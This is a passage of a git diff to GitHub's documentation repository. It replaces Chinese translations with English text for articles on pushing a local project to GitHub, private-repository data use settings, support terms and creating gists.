manual](https://cli.github.com/manual/gh_repo_create). -1. 从您创建的新仓库中拉取更改。 （如果您在前一步中创建了 `.gitignore` 或 `LICENSE` 文件，这会将这些更改拉取到您的本地目录。） +1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`. + +1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. - ```shell - git pull --set-upstream origin main - ``` +1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). -1. 暂存、提交和推送项目中的所有文件。 - - ```shell - git add . && git commit -m "initial commit" && git push - ``` - -## 不使用 {% data variables.product.prodname_cli %} 而添加项目到 {% data variables.product.product_name %} +## Adding a project to {% data variables.product.product_name %} without {% data variables.product.prodname_cli %} {% mac %} -1. 在 {% data variables.product.product_location %} 上[创建新仓库](/repositories/creating-and-managing-repositories/creating-a-new-repository) 为避免错误，请勿使用*自述文件*、许可或 `gitignore` 文件初始化新仓库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 ![创建新仓库下拉列表](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. 将当前工作目录更改为您的本地仓库。 -4. 将本地目录初始化为 Git 仓库。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. 提交暂存在本地仓库中的文件。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面，点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 ![创建远程仓库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. 在终端上，[添加远程仓库的 URL](/github/getting-started-with-github/managing-remote-repositories)（将在该 URL 推送本地仓库）。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [推送更改](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)（本地仓库中）到 {% data variables.product.product_location %}。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push -u origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -92,34 +87,36 @@ shortTitle: 本地添加项目 {% windows %} -1. 在 {% data variables.product.product_location %} 上[创建新仓库](/articles/creating-a-new-repository) 为避免错误，请勿使用*自述文件*、许可或 `gitignore` 文件初始化新仓库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 ![创建新仓库下拉列表](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. 将当前工作目录更改为您的本地仓库。 -4. 将本地目录初始化为 Git 仓库。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. 提交暂存在本地仓库中的文件。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面，点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 ![创建远程仓库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. 在命令提示中，[添加远程仓库的 URL](/github/getting-started-with-github/managing-remote-repositories)（将在该 URL 推送本地仓库）。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [推送更改](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)（本地仓库中）到 {% data variables.product.product_location %}。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell - $ git push origin master + $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` @@ -127,39 +124,41 @@ shortTitle: 本地添加项目 {% linux %} -1. 在 {% data variables.product.product_location %} 上[创建新仓库](/articles/creating-a-new-repository) 为避免错误，请勿使用*自述文件*、许可或 `gitignore` 文件初始化新仓库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 ![创建新仓库下拉列表](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. 将当前工作目录更改为您的本地仓库。 -4. 将本地目录初始化为 Git 仓库。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. 提交暂存在本地仓库中的文件。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面，点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 ![创建远程仓库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. 在终端上，[添加远程仓库的 URL](/github/getting-started-with-github/managing-remote-repositories)（将在该 URL 推送本地仓库）。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [推送更改](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)（本地仓库中）到 {% data variables.product.product_location %}。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell - $ git push origin master + $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` {% endlinux %} -## 延伸阅读 +## Further reading -- "[添加文件到仓库](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" +- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" diff --git a/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md b/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md index f5c603bcf5..c682319d40 100644 --- a/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md +++ b/translations/zh-CN/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md @@ -1,6 +1,6 @@ --- -title: 管理私有仓库的数据使用设置 -intro: '为帮助 {% data variables.product.product_name %} 连接到相关的工具、人员、项目和信息，您可以配置私有仓库的数据使用。' +title: Managing data use settings for your private repository +intro: 'To help {% data variables.product.product_name %} connect you to relevant tools, people, projects, and information, you can configure data use for your private repository.' redirect_from: - /articles/opting-into-or-out-of-data-use-for-your-private-repository - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-data-use-for-your-private-repository @@ -10,24 +10,25 @@ versions: topics: - Policy - Legal -shortTitle: 管理私有仓库的数据使用 +shortTitle: Manage data use for private repo --- -## 关于私有仓库的数据使用 +## About data use for your private repository -启用私有仓库的数据使用后，您可以访问依赖项图，从中可以跟踪仓库的依赖项，在 {% data variables.product.product_name %} 检测到漏洞依赖项时接收 {% data variables.product.prodname_dependabot_alerts %}。 更多信息请参阅“[关于易受攻击的依赖项的警报](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)”。 +When you enable data use for your private repository, you'll be able to access the dependency graph, where you can track your repository's dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)." -## 启用或禁用数据使用功能 +## Enabling or disabling data use features {% data reusables.security.security-and-analysis-features-enable-read-only %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -4. 在“Configure security and analysis features（配置安全性和分析功能）”下，单击功能右侧的 **Disable（禁用）**或 **Enable（启用）**。 !["Configure security and analysis（配置安全性和分析）"功能的"Enable（启用）"或"Disable（禁用）"按钮](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png) +4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. + !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png) -## 延伸阅读 +## Further reading -- "[关于 {% data variables.product.prodname_dotcom %} 对数据的使用](/articles/about-github-s-use-of-your-data)" -- "[查看和更新仓库中的漏洞依赖项](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" -- "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" +- "[About {% data variables.product.prodname_dotcom %}'s use of your data](/articles/about-github-s-use-of-your-data)" +- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" diff --git a/translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md b/translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md index 5a8d926652..d31732d6b3 100644 --- a/translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md +++ b/translations/zh-CN/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Enterprise Cloud 的 GitHub 高级支持 -intro: '{% data variables.contact.premium_support %} 是向 {% data variables.product.prodname_ghe_cloud %} 客户提供的一种付费、补充服务。' +title: About GitHub Premium Support for GitHub Enterprise Cloud +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_ghe_cloud %} customers.' redirect_from: - /articles/about-github-premium-support - /articles/about-github-premium-support-for-github-enterprise-cloud @@ -9,30 +9,30 @@ versions: ghec: '*' topics: - Jobs -shortTitle: GitHub 高级支持 +shortTitle: GitHub Premium Support --- {% note %} -**注意：** +**Notes:** -- {% data variables.contact.premium_support %} 的条款自 2018 年 9 月开始生效，如有变动，恕不另行通知。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. - {% data reusables.support.data-protection-and-privacy %} -- 本文包含 {% data variables.contact.premium_support %} 对于 {% data variables.product.prodname_ghe_cloud %} 客户的条款。 对于于 {% data variables.product.prodname_ghe_server %} 客户或一起购买 {% data variables.product.prodname_ghe_server %} 和 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_enterprise %} 客户，这些条款可能不同。 更多信息请参阅“[关于 {% data variables.product.prodname_ghe_server %} 的 {% data variables.contact.premium_support %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)”和“[关于 {% data variables.product.prodname_enterprise %} 的 {% data variables.contact.premium_support %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)”。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)." {% endnote %} -## 关于 {% data variables.contact.premium_support %} +## About {% data variables.contact.premium_support %} -{% data variables.contact.premium_support %} 提供： - - 我们的支持门户全天候提供英语书面支持 - - 全天候英语电话支持 - - 保证初始响应时间的服务等级协议 (SLA) - - 高级内容访问权限 - - 按时健康状态检查 - - 管理的服务 +{% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -42,32 +42,32 @@ shortTitle: GitHub 高级支持 {% data reusables.support.contacting-premium-support %} -## 运行时间 +## Hours of operation -{% data variables.contact.premium_support %} 全天候提供。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. {% data reusables.support.service-level-agreement-response-times %} -## 为支持事件单分配优先级 +## Assigning a priority to a support ticket -联系 {% data variables.contact.premium_support %} 时，可为事件单选择以下四种优先级之一：{% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %} 或 {% data variables.product.support_ticket_priority_low %}。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} {% data reusables.support.ghec-premium-priorities %} -## 解决和关闭支持事件单 +## Resolving and closing support tickets -{% data variables.contact.premium_support %} 在提供解释、建议、使用说明或变通方法后，可能认为事件单已解决。 +{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, or workaround instructions, -如果您使用自定义或不支持的插件、模块或自定义代码，{% data variables.contact.premium_support %} 可能要求您在尝试解决问题时删除不支持的插件、模块或代码。 如果在不受支持的插件、模块或自定义代码删除后问题得以解决，{% data variables.contact.premium_support %} 可能认为事件单已解决。 +If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. -如果事件单超出支持范围，或者多次联系您但未获回复，{% data variables.contact.premium_support %} 可能会关闭事件单。 如果 {% data variables.contact.premium_support %} 因为未获回复而关闭事件单，您可以请求 {% data variables.contact.premium_support %} 重新开启事件单。 +{% data variables.contact.premium_support %} may close tickets if they're outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. {% data reusables.support.receiving-credits %} {% data reusables.support.accessing-premium-content %} -## 延伸阅读 +## Further reading -- "[提交事件单](/articles/submitting-a-ticket)" +- "[Submitting a ticket](/articles/submitting-a-ticket)" diff --git a/translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md b/translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md index 608370ccf8..7c198a59d3 100644 --- a/translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md +++ b/translations/zh-CN/content/github/working-with-github-support/github-enterprise-cloud-support.md @@ -1,10 +1,10 @@ --- -title: GitHub Enterprise Cloud 支持 +title: GitHub Enterprise Cloud support redirect_from: - /articles/business-plan-support/ - /articles/github-business-cloud-support/ - /articles/github-enterprise-cloud-support -intro: '{% data variables.product.prodname_ghe_cloud %} 在您当地时区的周一至周五为优先支持请求提供八小时响应服务。' +intro: '{% data variables.product.prodname_ghe_cloud %} includes a target eight-hour response time for priority support requests, Monday to Friday in your local time zone.' versions: fpt: '*' ghec: '*' @@ -15,40 +15,40 @@ shortTitle: GitHub Enterprise Cloud {% note %} -**注：**{% data variables.product.prodname_ghe_cloud %} 客户可以注册 {% data variables.contact.premium_support %}。 更多信息请参阅“[关于 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.contact.premium_support %}](/articles/about-github-premium-support-for-github-enterprise-cloud)”。 +**Note:** {% data variables.product.prodname_ghe_cloud %} customers can sign up for {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)." {% endnote %} {% data reusables.support.zendesk-old-tickets %} -如果您购买了 {% data variables.product.prodname_ghe_cloud %}，或者您是当前订阅了 {% data variables.product.prodname_ghe_cloud %} 的 {% data variables.product.prodname_dotcom %} 组织的成员、外部协作者或帐单管理员，则可以提交优先问题。 +You can submit priority questions if you have purchased {% data variables.product.prodname_ghe_cloud %} or if you're a member, outside collaborator, or billing manager of a {% data variables.product.prodname_dotcom %} organization currently subscribed to {% data variables.product.prodname_ghe_cloud %}. -有资格获得优先响应的问题： -- 包含与无法访问或使用 {% data variables.product.prodname_dotcom %} 的核心版本控制功能相关的问题 -- 包含与帐户安全相关的情况 -- 不包含有关外围设备和功能的问题，例如与 Gist、{% data variables.product.prodname_pages %} 或电子邮件通知相关的问题 -- 只包含与当前使用 {% data variables.product.prodname_ghe_cloud %} 的组织相关的问题 +Questions that qualify for priority responses: +- Include questions related to your inability to access or use {% data variables.product.prodname_dotcom %}'s core version control functionality +- Include situations related to your account security +- Do not include peripheral services and features, such as questions about Gists, {% data variables.product.prodname_pages %}, or email notifications +- Include questions only about organizations currently using {% data variables.product.prodname_ghe_cloud %} -要获得优先响应，您必须： -- 通过与目前使用 {% data variables.product.prodname_ghe_cloud %} 的组织关联的经验证电子邮件地址提交问题到 [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) -- 为每个优先情况提交新的支持事件单 -- 在您当地时区的周一至周五提交问题 -- 知道将通过电子邮件接收优先问题的响应 -- 与 {% data variables.contact.github_support %} 合作，提供 {% data variables.contact.github_support %} 所要求的所有信息 +To qualify for a priority response, you must: +- Submit your question to [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) from a verified email address that's associated with an organization currently using {% data variables.product.prodname_ghe_cloud %} +- Submit a new support ticket for each individual priority situation +- Submit your question from Monday-Friday in your local time zone +- Understand that the response to a priority question will be received via email +- Cooperate with {% data variables.contact.github_support %} and provide all of the information that {% data variables.contact.github_support %} asks for {% tip %} -**提示：**在您所在司法管辖区的当地节假日提交的问题不符合优先响应条件。 +**Tip:** Questions do not qualify for a priority response if they are submitted on a local holiday in your jurisdiction. {% endtip %} -八小时响应服务： -- 在 {% data variables.contact.github_support %} 收到符合条件的问题时开始 -- 在您提供足够的信息以回答问题之前，响应不会开始，除非您明确指出您没有足够的信息。 -- 不适用于您当地时区的周末或您所在司法管辖区的当地节假日 +The target eight-hour response time: +- Begins when {% data variables.contact.github_support %} receives your qualifying question +- Does not begin until you have provided sufficient information to answer the question, unless you specifically indicate that you do not have sufficient information +- Does not apply on weekends in your local timezone or local holidays in your jurisdiction {% note %} -**注：**{% data variables.contact.github_support %} 不保证能够解决您的优先问题。 {% data variables.contact.github_support %} 可能会根据对您所提供信息的合理评估，将您的问题从一般问题升级为优先问题或从优先问题降级为一般问题。 +**Note:** {% data variables.contact.github_support %} does not guarantee a resolution to your priority question. {% data variables.contact.github_support %} may escalate or deescalate issues to or from priority question status, based on our reasonable evaluation of the information you give to us. {% endnote %} diff --git a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md index 3ff62aef9a..15a2177662 100644 --- a/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md +++ b/translations/zh-CN/content/github/writing-on-github/editing-and-sharing-content-with-gists/creating-gists.md @@ -1,6 +1,6 @@ --- -title: 创建 Gist -intro: '您可以创建两种 gist：{% ifversion ghae %}内部{% else %}公共{% endif %}和秘密。 如果您准备与{% ifversion ghae %}企业成员{% else %}全世界{% endif %}分享您的创意，请创建{% ifversion ghae %}内部{% else %}公共{% endif %} gist，否则请创建秘密 gist。' +title: Creating gists +intro: 'You can create two kinds of gists: {% ifversion ghae %}internal{% else %}public{% endif %} and secret. Create {% ifversion ghae %}an internal{% else %}a public{% endif %} gist if you''re ready to share your ideas with {% ifversion ghae %}enterprise members{% else %}the world{% endif %} or a secret gist if you''re not.' permissions: '{% data reusables.enterprise-accounts.emu-permission-gist %}' redirect_from: - /articles/about-gists/ @@ -14,68 +14,71 @@ versions: ghae: '*' ghec: '*' --- +## About gists -## 关于 gists +Every gist is a Git repository, which means that it can be forked and cloned. {% ifversion not ghae %}If you are signed in to {% data variables.product.product_name %} when{% else %}When{% endif %} you create a gist, the gist will be associated with your account and you will see it in your list of gists when you navigate to your {% data variables.gists.gist_homepage %}. -每个 gist 都是一个 Git 仓库，意即可以复刻和克隆。 {% ifversion not ghae %}如果您在{% else %}在{% endif %}创建 Gist 时登录了 {% data variables.product.product_name %}，则该 Gist 将与您的帐户相关联， 当您导航到 {% data variables.gists.gist_homepage %} 时，您会在 Gist 列表中看到它。 +Gists can be {% ifversion ghae %}internal{% else %}public{% endif %} or secret. {% ifversion ghae %}Internal{% else %}Public{% endif %} gists show up in {% data variables.gists.discover_url %}, where {% ifversion ghae %}enterprise members{% else %}people{% endif %} can browse new gists as they're created. They're also searchable, so you can use them if you'd like other people to find and see your work. -Gist 可设为{% ifversion ghae %}内部{% else %}公共{% endif %}或秘密。 {% ifversion ghae %}内部{% else %}公共{% endif %} gist 显示在 {% data variables.gists.discover_url %} 中，{% ifversion ghae %}企业成员{% else %}人们{% endif %}可以在其中浏览新建的 gist。 它们也可供搜索，因此，如果您希望其他人查找和查看您的工作，便可使用公共 gists。 - -密码 gist 不会显示在 {% data variables.gists.discover_url %} 中，也不可搜索。 秘密 Gist 不是私有 Gist。 如果您将秘密 Gist 的 URL 发送给{% ifversion ghae %}a其他企业成员{% else %}朋友{% endif %}，他们将能够看到它。 但是，如果{% ifversion ghae %}任何其他企业成员{% else %}您不认识的人{% endif %}发现了该 URL，他们也能够看到您的 Gist。 如果需要让您的代码不被偷窥，可能要改为[创建私有仓库](/articles/creating-a-new-repository)。 +Secret gists don't show up in {% data variables.gists.discover_url %} and are not searchable. Secret gists aren't private. If you send the URL of a secret gist to {% ifversion ghae %}another enterprise member{% else %}a friend{% endif %}, they'll be able to see it. However, if {% ifversion ghae %}any other enterprise member{% else %}someone you don't know{% endif %} discovers the URL, they'll also be able to see your gist. If you need to keep your code away from prying eyes, you may want to [create a private repository](/articles/creating-a-new-repository) instead. {% data reusables.gist.cannot-convert-public-gists-to-secret %} {% ifversion ghes %} -如果您的站点管理员禁用了私有模式，您也可以使用匿名 gists，可以是公共 gists 或秘密 gists。 +If your site administrator has disabled private mode, you can also use anonymous gists, which can be public or secret. {% data reusables.gist.anonymous-gists-cannot-be-deleted %} {% endif %} -您在以下情况下会收到通知： -- 您是新 gist 的作者。 -- 有人在 gist 中提及您。 -- 单击任何 gist 顶部的 **Subscribe（订阅）**以订阅 gist。 +You'll receive a notification when: +- You are the author of a gist. +- Someone mentions you in a gist. +- You subscribe to a gist, by clicking **Subscribe** at the top of any gist. {% ifversion fpt or ghes or ghec %} -您可以在个人资料中置顶 Gist，使其他人更容易看到它们。 更多信息请参阅“[将项目嵌入到个人资料](/articles/pinning-items-to-your-profile)”。 +You can pin gists to your profile so other people can see them easily. For more information, see "[Pinning items to your profile](/articles/pinning-items-to-your-profile)." {% endif %} -通过访问 {% data variables.gists.gist_homepage %} 并单击 **All Gists（所有 Gist）**，您可以发现其他人创建的{% ifversion ghae %}内部{% else %}公共{% endif %} gist。 将会显示所有 gists 存储的页面，gist 按创建或更新时间显示。 您也可以通过 {% data variables.gists.gist_search_url %} 按语言搜索 gist。 Gist 搜索使用的搜索语法与[代码搜索](/search-github/searching-on-github/searching-code)相同。 +You can discover {% ifversion ghae %}internal{% else %}public{% endif %} gists others have created by going to the {% data variables.gists.gist_homepage %} and clicking **All Gists**. This will take you to a page of all gists sorted and displayed by time of creation or update. You can also search gists by language with {% data variables.gists.gist_search_url %}. Gist search uses the same search syntax as [code search](/search-github/searching-on-github/searching-code). -由于 gists 是 Git 仓库，因此您可以查看其整个提交历史记录，包括差异。 您也可以复刻或克隆 gists。 更多信息请参阅[“复刻和克隆 gists”](/articles/forking-and-cloning-gists)。 +Since gists are Git repositories, you can view their full commit history, complete with diffs. You can also fork or clone gists. For more information, see ["Forking and cloning gists"](/articles/forking-and-cloning-gists). -您可以单击 gist 顶部的 **Download ZIP（下载 ZIP）**按钮下载 gist 的 ZIP 文件。 您可以将 gist 嵌入到支持 Javascript 的任何文本字段中，如博文。 要获取嵌入的代码，请单击 gist 的**嵌入** URL 旁边的剪贴板图标。 要嵌入特定的 gist 文件，请使用 `?file=FILENAME` 附加**嵌入** URL。 +You can download a ZIP file of a gist by clicking the **Download ZIP** button at the top of the gist. You can embed a gist in any text field that supports Javascript, such as a blog post. To get the embed code, click the clipboard icon next to the **Embed** URL of a gist. To embed a specific gist file, append the **Embed** URL with `?file=FILENAME`. {% ifversion fpt or ghec %} -Gist 支持地图 GeoJSON 文件。 这些地图显示在嵌入的 Gist 中，因此您可以轻松分享和嵌入地图。 更多信息请参阅“[使用非代码文件](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)”。 +Gist supports mapping GeoJSON files. These maps are displayed in embedded gists, so you can easily share and embed maps. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files#mapping-geojson-files-on-github)." {% endif %} -## 创建 Gist +## Creating a gist -按照以下步骤创建 gist。 +Follow the steps below to create a gist. {% ifversion fpt or ghes or ghae or ghec %} {% note %} -您也可以使用 {% data variables.product.prodname_cli %} 创建 Gist。 更多信息请参阅 {% data variables.product.prodname_cli %} 文档中的“[`gh Gist 创建`](https://cli.github.com/manual/gh_gist_create)”。 +You can also create a gist using the {% data variables.product.prodname_cli %}. For more information, see "[`gh gist create`](https://cli.github.com/manual/gh_gist_create)" in the {% data variables.product.prodname_cli %} documentation. -或者，也可以将桌面上的文本文件直接拖放到编辑器中。 +Alternatively, you can drag and drop a text file from your desktop directly into the editor. {% endnote %} {% endif %} -1. 登录 {% data variables.product.product_name %}。 -2. 导航到 {% data variables.gists.gist_homepage %}。 -3. 键入 Gist 的说明（可选）和名称。 ![Gist 名称说明](/assets/images/help/gist/gist_name_description.png) +1. Sign in to {% data variables.product.product_name %}. +2. Navigate to your {% data variables.gists.gist_homepage %}. +3. Type an optional description and name for your gist. +![Gist name 